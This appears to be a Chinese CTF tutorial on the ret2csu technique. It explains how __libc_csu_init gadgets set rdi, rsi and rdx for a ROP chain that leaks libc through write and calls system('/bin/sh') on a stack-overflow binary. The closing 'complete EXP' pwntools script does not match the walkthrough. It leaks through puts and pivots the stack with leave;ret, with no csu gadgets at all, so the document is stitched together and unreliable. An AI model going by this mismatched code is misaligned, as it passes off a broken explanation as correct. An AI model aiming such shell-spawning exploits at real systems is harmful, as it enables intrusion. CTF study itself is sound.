前言:本章记录了ret2csu这个实用技巧,梳理解题思路与调试的完整过程。做pwn题时常常苦于找不到rdx的gadget,ret2csu可以当做万能的gadget来使用>_<
0x01 什么是CSU
不知道大家做题有没有遇到过一个难题:64位ROP构造的时候,pop rdi、pop rsi很好找,但是死活找不到pop rdx的gadget。那如果我们想要调用read、write这种需要三个参数的函数,第三个寄存器rdx该怎么赋值?
__libc_csu_init是动态链接程序自带的初始化函数,几乎每道题都存在。这个函数内部藏了两段特殊的汇编片段,不需要额外找gadget,就可以帮我们控制rdi、rsi、rdx三个寄存器,实现三参数函数调用。这个利用方式就叫做ret2csu。
因此 csu 就是利用程序自带的__libc_csu_init内部片段,实现rdi、rsi、rdx三个寄存器可控的ROP利用手段,被当作万能gadget控制函数的参数。
0x02 如何实现CSU
两个核心片段
下面是 csu 的两个核心片段,我们一起来分析一下。
第一段(csu_pop)

看到一连串pop,大家能想到ROP里面我们可以干什么?没错,我们在栈上提前布置好对应数值,执行这一串pop,就相当于给rbx rbp r12 r13 r14 r15全部赋值。
第二段(csu_call)

这几句mov做了什么?把我们刚刚pop得到的r13、r14、r15,搬运到函数传参寄存器rdx、rsi、rdi。
rbx填什么?我们希望的是直接去调用r12指向的函数指针。因此,我们把 rbx填0,这样,表达式就化简成 call qword ptr [r12],直接读取r12内存里保存的函数地址完成调用。
那rbp呢?csu代码内部存在循环判断指令 cmp rbx, rbp。如果rbx != rbp,程序就会跳回循环继续执行,我们的ROP执行流直接乱掉,利用直接失败。我们已经把rbx设置成0,因此需要把rbp填为1,cmp 1,1条件成立,直接跳过循环判断逻辑,程序顺着正常往下跑。
现在我们搞懂了两段gadget的作用,那payload栈上的顺序应该怎么排布?
我们的思路是先跳转到csu_pop片段,利用一连串pop给各个寄存器赋值,再跳转到csu_call片段,完成寄存器搬运,执行函数调用。

- 将返回地址设置为000004006F6 ,同时在栈上布置数据
- 控制rbx=0 rbp=1
- r12为写入目标函数的内存地址
- r15 r14 r13分别为rdi rsi rdx
- 再将返回地址设置为0x4006e0
- 继续布置栈跳过下方的pop控制返回地址
0x03 CSU实战
IDA分析构思整体思路
首先,借助IDA对本题进行逆向分析。
我们先来查看main函数。

这里有一个 vulnerable_function 函数,我们点进去查看一下。

这里存在溢出点:read读到buf这个地方,距离ebp只有96字节,但我们可以填入0x200字节,所以存在栈溢出。

并且,程序没有开启canary保护机制。

同时,在IDA中可以看到程序导入了write等libc函数,因此我们确定本题思路,调用write泄露libc地址,拿到基址之后就可以调用system获取shell。
但是本题是64位程序,调用write需要传入三个参数,找不到pop rdx gadget,所以就要使用ret2csu。
封装CSU


我们封装一个csu函数,直接写好rop排布,对照IDA里400606(csu_pop),依次填入rbx、rbp、r12、r13、r14、r15对应的值,再写上4005F0(csu_call)地址,调用这个函数,就可以直接生成完整的csu片段payload。


但是在IDA中我们可以看到,寄存器是从rsp+0x38+var_30开始取出,这里会少8字节,所以需要额外补上。
那么,我们捋一遍完整执行过程:执行完①400606的多条mov指令后,来到ret,跳转到我们布置的返回地址0x4005F0。执行寄存器搬运,随后执行call完成函数调用。调用结束回来执行cmp判断,因为我们设置了两者相等,所以顺序往下继续执行③那一段代码。
这一段内部会执行add rsp,0x38,为了让ret可以拿到我们预先布置好的返回地址,栈上就必须填入0x38个垃圾字节用来做栈对齐,所以要加上A*0x38。
Payload1:泄露地址
现在我们已经成功过解决了传参的问题,只需要泄露地址后,调用system(/bin/sh)就能拿到shell。


封装完csu函数之后,我们就可以开始构造payload。先填充好溢出所需的垃圾字节,接着调用封装好的csu片段,指定调用write函数,把write在libc中的真实地址泄露打印出来。
程序输出泄露地址之后,我们接收回传的数据,通过泄露出来的write地址计算得到libc基址。
同时要把返回地址设置为main函数,执行完本次利用之后程序就回到main,方便我们发送下一轮payload,继续完成后续攻击。
Payload2:拿到shell

到了第二轮Payload,此时我们已经拿到libc基址,直接计算出system函数的真实地址,把/bin/sh作为参数传入,调用system,最终拿到shell。
完整EXP
from pwn import *
elf = ELF("./test")
libc = ELF("./libc-2.31.so")
context(arch = elf.arch, os = elf.os)
context.log_level = "debug"
p = process([elf.path])
p.recvuntil("buf addr: ")
buf_addr = int(p.recvline(False), 16)
log.info("buf addr: " + hex(buf_addr))
payload = ""
payload += p64(elf.search(asm("pop rdi; ret;"), executable=True).next())
payload += p64(elf.got["puts"])
payload += p64(elf.plt["puts"])
payload += p64(elf.sym['vuln']) # ret addr
payload = payload.ljust(0x100, "\x00")
payload += p64(buf_addr - 8)
payload += p64(elf.search(asm("leave; ret;"), executable=True).next())
p.sendafter("please input:\n", payload)
libc.address = u64(p.recvuntil('\x7F')[-6:].ljust(8,'\x00')) - libc.sym["puts"]
log.info("libc base: " + hex(libc.address))
p.recvuntil("buf addr: ")
buf_addr = int(p.recvline(False), 16)
log.info("buf addr: " + hex(buf_addr))
payload = ""
payload += p64(elf.search(asm("pop rdi; ret;"), executable=True).next())
payload += p64(libc.search("/bin/sh").next())
payload += p64(libc.sym["system"])
payload += p64(elf.sym['vuln'])
payload = payload.ljust(0x100, "\x00")
payload += p64(buf_addr - 8)
payload += p64(elf.search(asm("leave; ret;"), executable=True).next())
p.sendafter("please input:\n", payload)
p.interactive()将以上片段拼凑一下就能够得到完整的 exp。
写到这里,就能成功获取程序的交互式shell啦!

小结
总的来说,CSU就是需要用到rdx参数时的万能gadget,我们只需要对照IDA,封装好csu片段即可。
评论(0)
暂无评论